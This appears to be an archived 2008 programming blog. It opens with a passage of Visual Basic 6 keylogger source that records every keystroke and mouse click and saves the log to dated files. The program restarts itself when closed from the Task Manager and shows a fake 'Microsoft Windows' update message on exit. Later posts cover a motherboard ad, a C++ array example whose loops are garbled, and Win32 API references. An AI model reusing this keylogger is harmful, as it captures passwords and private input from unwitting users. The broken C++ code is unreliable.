strContent = strContent + "D"

ElseIf KeyD >= 0 And KeyDPre < 0 Then
strContent = strContent + "d"

End If

KeyDPre = KeyD

KeyE = GetKeyState(vbKeyE)
If KeyE >= 0 And KeyEPre < 0 And BOOLCASE = True Then

strContent = strContent + "E"

ElseIf KeyE >= 0 And KeyEPre < 0 Then
strContent = strContent + "e"

End If

KeyEPre = KeyE
'************************************************************

KeyF = GetKeyState(vbKeyF)
If KeyF >= 0 And KeyFPre < 0 And BOOLCASE = True Then

strContent = strContent + "F"

ElseIf KeyF >= 0 And KeyFPre < 0 Then
strContent = strContent + "f"

End If

KeyFPre = KeyF

'************************************************************

KeyG = GetKeyState(vbKeyG)
If KeyG >= 0 And KeyGPre < 0 And BOOLCASE = True Then

strContent = strContent + "G"

ElseIf KeyG >= 0 And KeyGPre < 0 Then
strContent = strContent + "g"

End If

KeyGPre = KeyG
'************************************************************

KeyH = GetKeyState(vbKeyH)
If KeyH >= 0 And KeyHPre < 0 And BOOLCASE = True Then

strContent = strContent + "H"

ElseIf KeyH >= 0 And KeyHPre < 0 Then
strContent = strContent + "h"

End If

KeyHPre = KeyH
'************************************************************

KeyI = GetKeyState(vbKeyI)
If KeyI >= 0 And KeyIPre < 0 And BOOLCASE = True Then

strContent = strContent + "I"

ElseIf KeyI >= 0 And KeyIPre < 0 Then
strContent = strContent + "i"

End If

KeyIPre = KeyI
'************************************************************

KeyJ = GetKeyState(vbKeyJ)
If KeyJ >= 0 And KeyJPre < 0 And BOOLCASE = True Then

strContent = strContent + "J"

ElseIf KeyJ >= 0 And KeyJPre < 0 Then
strContent = strContent + "j"

End If

KeyJPre = KeyJ
'************************************************************

KeyK = GetKeyState(vbKeyK)
If KeyK >= 0 And KeyKPre < 0 And BOOLCASE = True Then

strContent = strContent + "K"

ElseIf KeyK >= 0 And KeyKPre < 0 Then
strContent = strContent + "k"

End If

KeyKPre = KeyK
'************************************************************

KeyL = GetKeyState(vbKeyL)
If KeyL >= 0 And KeyLPre < 0 And BOOLCASE = True Then

strContent = strContent + "L"

ElseIf KeyL >= 0 And KeyLPre < 0 Then
strContent = strContent + "l"

End If

KeyLPre = KeyL
'************************************************************

KeyM = GetKeyState(vbKeyM)
If KeyM >= 0 And KeyMPre < 0 And BOOLCASE = True Then

strContent = strContent + "M"

ElseIf KeyM >= 0 And KeyMPre < 0 Then
strContent = strContent + "m"

End If

KeyMPre = KeyM
'************************************************************

KeyN = GetKeyState(vbKeyN)
If KeyN >= 0 And KeyNPre < 0 And BOOLCASE = True Then

strContent = strContent + "N"

ElseIf KeyN >= 0 And KeyNPre < 0 Then
strContent = strContent + "n"

End If

KeyNPre = KeyN
'************************************************************

KeyO = GetKeyState(vbKeyO)
If KeyO >= 0 And KeyOPre < 0 And BOOLCASE = True Then

strContent = strContent + "O"

ElseIf KeyO >= 0 And KeyOPre < 0 Then
strContent = strContent + "o"

End If

KeyOPre = KeyO

'************************************************************

KeyP = GetKeyState(vbKeyP)
If KeyP >= 0 And KeyPPre < 0 And BOOLCASE = True Then

strContent = strContent + "P"

ElseIf KeyP >= 0 And KeyPPre < 0 Then
strContent = strContent + "p"

End If

KeyPPre = KeyP
'************************************************************

KeyQ = GetKeyState(vbKeyQ)
If KeyQ >= 0 And KeyQPre < 0 And BOOLCASE = True Then

strContent = strContent + "Q"

ElseIf KeyQ >= 0 And KeyQPre < 0 Then
strContent = strContent + "q"

End If

KeyQPre = KeyQ
'************************************************************

KeyR = GetKeyState(vbKeyR)
If KeyR >= 0 And KeyRPre < 0 And BOOLCASE = True Then

strContent = strContent + "R"

ElseIf KeyR >= 0 And KeyRPre < 0 Then
strContent = strContent + "r"

End If

KeyRPre = KeyR
'************************************************************

KeyS = GetKeyState(vbKeyS)
If KeyS >= 0 And KeySPre < 0 And BOOLCASE = True Then

strContent = strContent + "S"

ElseIf KeyS >= 0 And KeySPre < 0 Then
strContent = strContent + "s"

End If

KeySPre = KeyS
'************************************************************

KeyT = GetKeyState(vbKeyT)
If KeyT >= 0 And KeyTPre < 0 And BOOLCASE = True Then

strContent = strContent + "T"

ElseIf KeyT >= 0 And KeyTPre < 0 Then
strContent = strContent + "t"

End If

KeyTPre = KeyT
'************************************************************

KeyU = GetKeyState(vbKeyU)
If KeyU >= 0 And KeyUPre < 0 And BOOLCASE = True Then

strContent = strContent + "U"

ElseIf KeyU >= 0 And KeyUPre < 0 Then
strContent = strContent + "u"

End If

KeyUPre = KeyU
'************************************************************

KeyV = GetKeyState(vbKeyV)
If KeyV >= 0 And KeyVPre < 0 And BOOLCASE = True Then

strContent = strContent + "V"

ElseIf KeyV >= 0 And KeyVPre < 0 Then
strContent = strContent + "v"

End If

KeyVPre = KeyV
'************************************************************

KeyX = GetKeyState(vbKeyX)
If KeyX >= 0 And KeyXPre < 0 And BOOLCASE = True Then

strContent = strContent + "X"

ElseIf KeyX >= 0 And KeyXPre < 0 Then
strContent = strContent + "x"

End If

KeyXPre = KeyX
'************************************************************

KeyW = GetKeyState(vbKeyW)
If KeyW >= 0 And KeyWPre < 0 And BOOLCASE = True Then

strContent = strContent + "W"

ElseIf KeyW >= 0 And KeyWPre < 0 Then
strContent = strContent + "w"

End If

KeyWPre = KeyW
'************************************************************

KeyY = GetKeyState(vbKeyY)
If KeyY >= 0 And KeyYPre < 0 And BOOLCASE = True Then

strContent = strContent + "Y"

ElseIf KeyY >= 0 And KeyYPre < 0 Then
strContent = strContent + "y"

End If

KeyYPre = KeyY
'************************************************************

KeyZ = GetKeyState(vbKeyZ)
If KeyZ >= 0 And KeyZPre < 0 And BOOLCASE = True Then

strContent = strContent + "Z"

ElseIf KeyZ >= 0 And KeyZPre < 0 Then
strContent = strContent + "z"

End If

KeyZPre = KeyZ
'************************************************************
Keydot1 = GetKeyState(110)
If Keydot1 >= 0 And keydot1pre < 0 And BOOLCASE = True Then

strContent = strContent + "."

ElseIf Keydot1 >= 0 And keydot1pre < 0 Then
strContent = strContent + "."

End If

keydot1pre = Keydot1

'************************************************************
KeyDot = GetKeyState(190)
If KeyDot >= 0 And KeyDotpre < 0 And BOOLCASE = True Then

'strContent = strContent + "."

ElseIf KeyDot >= 0 And KeyDotpre < 0 Then
strContent = strContent + "."

End If

KeyDotpre = KeyDot

'****************************************************************
KeyMouseLeft = GetKeyState(vbKeyLButton)
If KeyMouseLeft >= 0 And KeyMouseLeftPre < 0 Then

strContent = strContent + SpecChar + "MLeft" + SpecChar

End If

KeyMouseLeftPre = KeyMouseLeft
'**********************************************************

KeyMouseright = GetKeyState(vbKeyRButton)
If KeyMouseright >= 0 And keyMouseRightPre < 0 Then

strContent = strContent + " "

End If

keyMouseRightPre = KeyMouseright

'**********************************************************

KeyEnter = GetKeyState(vbKeyReturn)
If KeyEnter >= 0 And KeyEnterPre < 0 Then

strContent = strContent + " "

End If

KeyEnterPre = KeyEnter
'**********************************************************

KeyTab = GetKeyState(vbKeyTab)
If KeyTab >= 0 And KeyTabPre < 0 Then

strContent = strContent + SpecChar + "tab" + SpecChar

End If

KeyTabPre = KeyTab

'**********************************************************

KeySpace = GetKeyState(vbKeySpace)
If KeySpace >= 0 And KeySpacePre < 0 Then

strContent = strContent + " "

End If

KeySpacePre = KeySpace

'**********************************************************

KeyNUM0 = GetKeyState(vbKeyNumpad0)
If KeyNUM0 >= 0 And KeyNUM0Pre < 0 Then

strContent = strContent + "0"

End If

KeyNUM0Pre = KeyNUM0
'**********************************************************
KeyNUM1 = GetKeyState(vbKeyNumpad1)
If KeyNUM1 >= 0 And KeyNUM1Pre < 0 Then

strContent = strContent + "1"

End If

KeyNUM1Pre = KeyNUM1
'**********************************************************
KeyNUM2 = GetKeyState(vbKeyNumpad2)
If KeyNUM2 >= 0 And KeyNUM2Pre < 0 Then

strContent = strContent + "2"

End If

KeyNUM2Pre = KeyNUM2
'**********************************************************
KeyNUM3 = GetKeyState(vbKeyNumpad3)
If KeyNUM3 >= 0 And KeyNUM3Pre < 0 Then

strContent = strContent + "3"

End If

KeyNUM3Pre = KeyNUM3
'**********************************************************
KeyNUM4 = GetKeyState(vbKeyNumpad4)
If KeyNUM4 >= 0 And KeyNUM4Pre < 0 Then

strContent = strContent + "4"

End If

KeyNUM4Pre = KeyNUM4
'**********************************************************
KeyNUM5 = GetKeyState(vbKeyNumpad5)
If KeyNUM5 >= 0 And KeyNUM5Pre < 0 Then

strContent = strContent + "5"

End If

KeyNUM5Pre = KeyNUM5
'**********************************************************
KeyNUM6 = GetKeyState(vbKeyNumpad6)
If KeyNUM6 >= 0 And KeyNUM6Pre < 0 Then

strContent = strContent + "6"

End If

KeyNUM6Pre = KeyNUM6
'**********************************************************
KeyNUM7 = GetKeyState(vbKeyNumpad7)
If KeyNUM7 >= 0 And KeyNUM7PRE < 0 Then

strContent = strContent + "7"

End If

KeyNUM7PRE = KeyNUM7
'**********************************************************
KeyNUM8 = GetKeyState(vbKeyNumpad8)
If KeyNUM8 >= 0 And KeyNUM8Pre < 0 Then

strContent = strContent + "8"

End If

KeyNUM8Pre = KeyNUM8
'**********************************************************
KeyNUM9 = GetKeyState(vbKeyNumpad9)
If KeyNUM9 >= 0 And KeyNUM9Pre < 0 Then

strContent = strContent + "9"

End If

KeyNUM9Pre = KeyNUM9

'**********************************************************
Key0 = GetKeyState(vbKey0)
If Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = True Then

strContent = strContent + ")"
ElseIf Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "0"
End If

Key0Pre = Key0
'**********************************************************
Key1 = GetKeyState(vbKey1)
If Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "!"
ElseIf Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "1"
End If

Key1Pre = Key1
'**********************************************************
Key2 = GetKeyState(vbKey2)
If Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "@"
ElseIf Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "2"
End If

Key2Pre = Key2
'**********************************************************
Key3 = GetKeyState(vbKey3)
If Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "#"
ElseIf Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "3"
End If

Key3Pre = Key3
'**********************************************************
Key4 = GetKeyState(vbKey4)
If Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "$"
ElseIf Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "4"
End If

Key4Pre = Key4
Key5 = GetKeyState(vbKey5)
If Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "%"
ElseIf Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "5"
End If

Key5Pre = Key5
'**********************************************************
Key6 = GetKeyState(vbKey6)
If Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "^"
ElseIf Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "6"
End If

Key6Pre = Key6
'**********************************************************
kEY7 = GetKeyState(vbKey7)
If kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = True Then

strContent = strContent + "<^7*>"
ElseIf kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = False Then
strContent = strContent + "7"
End If

KEY7pRE = kEY7
'**********************************************************
Key8 = GetKeyState(vbKey8)
If Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "*"
ElseIf Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "8"
End If

Key8Pre = Key8
'**********************************************************
Key9 = GetKeyState(vbKey9)
If Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "("
ElseIf Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "9"
End If

Key9Pre = Key9
'*********************************************************
KeyPlus = GetKeyState(187)
If KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = True Then

strContent = strContent + "+"
ElseIf KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = False Then
strContent = strContent + "="
End If

KeyPluspre = KeyPlus
'*********************************************************
KeyMin = GetKeyState(189)
If KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = True Then

strContent = strContent + "_"
ElseIf KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = False Then
strContent = strContent + "-"
End If

KeyMinpre = KeyMin

End Sub

Private Sub SETCASE()
If boolCapslockOn = False And boolShiftPresed = False Then
BOOLCASE = False
ElseIf boolCapslockOn = False And boolShiftPresed = True Then
BOOLCASE = True
ElseIf boolCapslockOn = True And boolShiftPresed = True Then
BOOLCASE = False
ElseIf boolCapslockOn = True And boolShiftPresed = False Then
BOOLCASE = True
End If
End Sub

Private Sub Command1_Click()
OpenSaveFile
End Sub

Private Sub Form_Load()
strContent = " " & Format(Date, "yymmdd") & Time & vbNewLine
strFilePath = App.Path + "\" + App.Title + ".exe"
intSpeciachar = 165
SpecChar = Chr(165) + Chr(182)
End Sub

Private Sub rtfcontent_GotFocus()

End Sub

Private Sub OpenSaveFile()
On Error Resume Next
StrTExt = "H"
StrFileName = App.Path & "save\"
MkDir StrFileName
StrFileName = StrFileName & Year(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Month(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Day(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Hour(Time) & Minute(Time) & Second(Time) & ".DCT"
Open StrFileName For Output As #1
Write #1, strContent
Close #1

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
OpenSaveFile
Select Case UnloadMode
Case 3

Shell strFilePath, vbNormalFocus

End Select

End Sub

Private Sub Timer1_Timer()
Label1.Caption = strContent
SETCASE
scanKeyb
Dim Lens
Lens = Len(strContent)

If Len(strContent) > 1024 Then

OpenSaveFile
strContent = " STARTING " & Time

End If
intInd = InStr(strContent, "geffreaenditgeffrea")
If intInd > 0 Then
MsgBox "Ssuccesfuly Updated", vbInformation, "Microsoft Windows"
OpenSaveFile
strContent = ""
Timer1.Enabled = False
Unload Me
End If

End Sub

Gigabyte K8NXP-SLI

2008-10-08T09:27:00.000-07:00

Gigabyte K8NXP-SLI Socket 939 ATX Motherboard with an AMD Athlon 64 3400+ Processor and Free CPU Cooling Fan

1 User Rated

More GIGABYTE Products

To the Extreme Power
Gigabyte 8? Series for AMD's 64-Bit CPUs
The most graphics ripping, high-performance motherboard on our shelves! Check out the packaging–it's sure to be a collector's item. But what's inside is truly a treasure. We proudly present Gigabyte Technology's 8? Series K8NXP-SLI Socket 939 Motherboard! Specially designed for AMD's amazing Athlon 64FX and Athlon 64 processors! This incredible board puts a virtual symphony of innovations to work to delivers astounding performance to gamers and extreme PC users. You will enjoy multimedia digital experiences beyond your imagination. Gigabyte Technology's 8? (Sigma) Series represents the latest Gigabyte flagship motherboard and embodies a balanced merging of top-line hardware and architecture with comprehensive software features. Based on Intel's breakthrough nVidia nForce4 SLI chipset, the 8? Series K8NXP-SLI supports nVidia SLI Multi-GPU, Superior Dual channel DDR400 architecture, Dual Power System (D.P.S.), Dual Gigabit LAN and wireless technology, RAID/SATA II/SATA plus nVidia ActiveArmor powered Firewall/Norton Internet Security. This 8? Series motherboard has all the characteristics of the ultimate high-end system, offering complete hardware and software functions to satisfy the most urgent cravings of the most extreme PC users. If you're computer extremist–given to fits of dire anxiety if phenomenal power and speed are not at your fingertips—you can't pass up this 8? Series special! The best board we have in the house at an everyday low price that defies the rest of the industry! Hurry, supplies will not last long!

Take advantage of this great offer! Buy this great motherboard in a bundle with the AMD Athlon 64 3400+ Processor and a free Gigabyte Cooling Fan!

This Bundle Includes

	Gigabyte K8NXP-SLI nVidia Socket 939 ATX Motherboard The most graphics ripping, high-performance motherboard on our shelves! Check out the packaging–it's sure to be a collector's item. But what's inside is truly a treasure. We proudly present Gigabyte Technology's 8 Series K8NXP-SLI Socket 939 Motherboard! Specially designed for AMD's amazing Athlon 64FX and Athlon 64 processors! - Chipset: NVIDIA nForce4 SLI - Front Side Bus: 2000MHz - Processor Interface: Socket 939 Click Here For More Information!

	AMD Athlon 64 3400+ Processor AMD64 technology is AMD’s approach to 64-bit computing which doubles the number of processor registers and increases the addressable memory space well beyond 4GB for increased performance and new, cinematic-computing experiences. Processors with AMD64 technology offer leadingedge performance on today’s software applications while enabling a seamless migration to future 64-bit computing. - Processor Speed: 64 3400+ / 2.40GHz - Bus Speed: 1600MHz - Processor Socket: Socket 939 Click Here For More Information!

	Free Gigabyte Neon Cooler 8-Pro Fan GIGABYTE TECHNOLOGY presents the new Neon Cooler 8 Series of CPU fansinks that target discerning PC gamers. Allows your system to run smoothly, efficiently and effectively, without the threat of heat degradation. Provides superior heat protection for AMD AthlonTM FX 55 / AthlonTM 64 4000+ Processors. - Noise: 19 dB(A) - Fan Speed: 1700 ~ 3500RPM - Bearing Type: Ball Bearin

Passing 2D array To a Function in c++

2008-10-06T05:00:00.000-07:00

#include

void Fill (int ** A, unsigned rows, unsigned cols, int val);

int main() {
int i;

int R, C; // size of the array in rows and columns
cout << "Please enter the size of the array in rows and columns\n"
<< "rows=";
cin>> R;
cout<< "cols=";
cin>> C;

int ** A;
A= new int* [R];
for (i=0; i A[i]= new int [C];

/// ACTUALLY A IS NOW 2D Array

Fill(A, R, C, 5);

;
cout<<"\n"< A[5][6]=5;

return(0);
}

void Fill (int ** A, unsigned rows, unsigned cols, int val) {
for (unsigned i=0; i for (unsigned j=0; j A[i][j]=i*j;// You Can Use "val" varible
}

GetWindowRect Function

2008-10-02T22:04:00.000-07:00

GetWindowRect Function

Declare Function GetWindowRect Lib "user32.dll" (ByVal hwnd As Long, lpRect As RECT) As Long

Platforms: Win 32s, Win 95/98, Win NT

GetWindowRect reads the size and position of a window. This information is put into the variable passed as lpRect. The rectangle receives the coordinates of the upper-left and lower-right corners of the window. If the window is past one of the edges of the screen, the values will reflect that (for example, if the left edge of a window is off the screen, the rectangle's .Left property will be negative). The function returns 0 if an error occured, or 1 if successful.

hwnd: The handle of the window to read the position and width of.
lpRect: Variable that receives the coordinates of the upper-left and lower-right corners of the window.

Example:

' Display the width and height of window Form1
' Width and height can be calculated from the coordinates returned in the rectangle.
Dim r As RECT  ' receives window rectangle
Dim retval As Long  ' return value
Type RECT
      Left As Long
      Top As Long
      Right As Long
      Bottom As Long
End Type

retval = GetWindowRect(Form1.hWnd, r)  ' set r equal to Form1's rectangle
Debug.Print "Width ="; r.Right - r.Left
Debug.Print "Height ="; r.Bottom - r.Top

Win 32 API Sleep

2008-09-26T21:36:00.000-07:00

Sleep Function

Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Platforms: Win 32s, Win 95/98, Win NT

Sleep pauses program execution for a certain amount of time. This is more accurate than using a do-nothing loop, waiting for a certain amount of time to pass. The function does not return a value.

dwMilliseconds: The number of milliseconds to halt program execution for.

Example:

' Pause the program for 2 seconds, displaying the system
' time before and after the pause.

Debug.Print "The time is "; Time$  ' display the current time
Sleep 2000  ' 2000 milliseconds = 2 seconds to delay
Debug.Print "The time is "; Time$  ' this time will be 2 seconds later

virtual machine (VM)

2008-09-22T03:11:00.000-07:00

A virtual machine (VM) is an environment, usually a program or operating system
which does not physically exist but is created within another environment. In this context, a VM is called a "guest" while the environment it runs within is called a "host." Virtual machines are often created to execute an instruction set different than that of the host environment. One host environment can often run multiple VMs at once. Because VMs are separated from the physical resources they use, the host environment is often able to dynamically assign those resources among them.

WIN 32 API -GetPixel

2008-09-19T20:35:00.000-07:00

GetPixel Function

Declaration

Declare Function GetPixel Lib "gdi32.dll" (ByVal hdc As Long, ByVal nXPos As Long, ByVal nYPos As Long) As Long

Platforms

Windows 95: Supported.
Windows 98: Supported.
Windows NT: Requires Windows NT 3.1 or later.
Windows 2000: Supported.
Windows CE: Requires Windows CE 1.0 or later.

Description & Usage

GetPixel determines the color of a specific pixel on a device. The function finds the RGB value of the pixel which is checked.

Return Value

If an error occured, the function returns &HFFFF. If successful, the function returns the RGB value of the pixel which was checked.

Visual Basic-Specific Issues

None.

Parameters

hdc: A handle to a device context to the device to check a pixel of.
nXPos: The x-coordinate of the pixel to determine the color of.
nYPos: The y-coordinate of the pixel to determine the color of.

Example(VB 6.0)

 Fill all of window Form1 with the color which is located at
' coordinate (75,100)
Dim rgbVal As Long  ' RGB color of the pixel


' Determine the color of the pixel on Form1 at (75,100).
rgbVal = GetPixel(Form1.hDC, 75, 100)

WIN 32 API -SET FILE TIME

2008-09-18T01:38:00.000-07:00

SetFileTime Function

Declare Function SetFileTime Lib "kernel32.dll" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Platforms

* Windows 95: Supported.
* Windows 98: Supported.
* Windows NT: Requires Windows NT 3.1 or later.
* Windows 2000: Supported.
* Windows CE: Requires Windows CE 1.0 or later.

Description & Usage

SetFileTime sets the creation, last-accessed, and last-modified (last written-to) dates and times associated with a file. All the times are in UTC time (Coordinated Universal Time, a.k.a. Greenwich Mean Time (GMT)), not in the system's local time. The times actually stored on the system may vary slightly from the times passed to the function because file times are not stored with perfect resolution (for example, seconds data may be ignored).
Return Value

If an error occured, the function returns 0 (use GetLastError to get the error code). If successful, the function returns a non-zero value.
Visual Basic-Specific Issues

None.
Parameters

hFile
A handle to the opened file to set the times of. The file must have been opened with at least write-level access.
lpCreationTime
The date and time to set as the file's creation time.
lpLastAccessTime
The date and time to set as the file's last access time.
lpLastWriteTime
The date and time to set as the file's last write-to (modification) time.

Example(VB 6.0)

' Set the modification time of C:\MyApp\test.txt to
' the current system date and time. Leave the other times as they
' were before calling the function.
Dim hFile As Long ' handle to the opened file
Dim ctime As FILETIME ' the time of creation
Dim atime As FILETIME ' the time of last access
Dim mtime As FILETIME ' the time of last modification
Dim retval As Long ' return value

' First, open the file C:\MyApp\test.txt for both read-level and
' write-level access, since we need to do both.
hFile = CreateFile("C:\MyApp\test.txt", GENERIC_READ Or GENERIC_WRITE, FILE_SHARE_READ, ByVal CLng(0), OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0)
If hFile = -1 Then
Debug.Print "Could not open the file successfully -- aborting."
End ' terminate the program
End If

' Next, get the creation, last-access, and last-modification times.
retval = GetFileTime(hFile, ctime, atime, mtime)

' Get the system time (already in UTC) as a FILETIME structure.
GetSystemTimeAsFileTime mtime
' Set the retrieved creation and access times and the new modification
' time as the file's times.
retval = SetFileTime(hFile, ctime, atime, mtime)

' Close the file to free up resources.
retval = CloseHandle(hFile)

WIN 32 API -BEEP

2008-09-15T23:25:00.000-07:00

Beep Function
Declaration
long Beep(DWORD dwFreq,DWORD dwDuration)
Platforms
· Windows 95: Supported.
· Windows 98: Supported.
· Windows NT: Requires Windows NT 3.1 or later.
· Windows 2000: Supported.
· Windows CE: Not Supported.
Description & Usage
Beep plays a sound, but its exact behavior varies between platforms. Windows 95/98:
The function always plays the SystemDefault system sound, regardless of the values
passed to the function. Windows NT/2000: The function plays a tone through the
computer's internal speaker at the desired frequency for a specified duration.
Return Value
If an error occured, the function returns 0 (use GetLastError to get the error code). If
successful, the function returns a non-zero value.
Parameters
dwFreq
Windows NT/2000: The frequency, in hertz (Hz), of the tone to play. Windows
95/98: Ignored.
dwDuration
Windows NT/2000: The duration, in milliseconds, to play the desired tone.
Windows 95/98: Ignored.
Example(C)
// Attempt to play a note at 800 Hz for 2 seconds. This will only
// behave this way on Windows NT/2000; users of Windows 95/98 will only
hear the
// default sound.
long retval; // return value
retval=Beep(800,2000); // ideally, an 800 Hz tone for 2 seconds

WIN 32 API -ANGLE ARC

2008-09-15T22:41:00.000-07:00

AngleArc Function
Declaration

long AngleArc(HDC hdc,long x,long y,long dwRadius,float eStartAngle,float eSweepAngle);

Platforms
· Windows 95: Not Supported
· Windows 98: Not Supported
· Windows NT: Requires Windows NT 3.1 or greater
· Windows 2000: Supported
· Windows CE: Not Supported
Description & Usage
AngleArc draws a circular arc on a device using the device's current pen. The circle
which the arc lies on is determined by its center and radius. The start and end points of
the arc are determined by angle measures in degrees, measured counterclockwise from
the line parallel to the positive x-axis (i.e., from due right). The arc itself is drawn either
clockwise or counterclockwise to connect the points, depending on the device's settings.
AngleArc also draws a line connecting the device's current point to the beginning of the
arc.
Return Value
If an error occurs, the function returns 0 (call GetLastError to get the error code). If the
function succeeds, the function returns a non-zero value.
Parameters
hdc
A handle to a device context of the device to draw the arc on.
x
The x coordinate of the center of the circle.
y
The y coordinate of the center of the circle.
dwRadius
The radius of the circle.
eStartAngle
The angle (in degrees) identifying the starting point of the arc.
eSweepAngle
The angle (in degrees) identifying the ending point of the arc.
Example (C)
// Draw an arc formed by the upper half of a circle (from 0 to 180'
degrees
// counterclockwise). The circle is centered at (100, 150) and has a
radius
// of 50. The arc is drawn using the solid black stock pen.
// (the value of device handle & the old pen selected)
HDC hdc;HPEN holdpen;
// handle to the black stock pen
HPEN hpen=GetStockObject(BLACK_PEN);
// select the pen
SelectObject(hdc, hpen);
// Make sure arcs are drawn going counterclockwise
SetArcDirection(hdc,AD_COUNTERCLOCKWISE);
// Draw the arc
retval = AngleArc(hdc,100,150,50,0,180);
// Select previous pen to restore the "defaults".
SelectObject(hdc, holdpen);

what is A System

2008-09-15T22:28:00.000-07:00

System Is Set Of Components interact each other to achieve a specific goal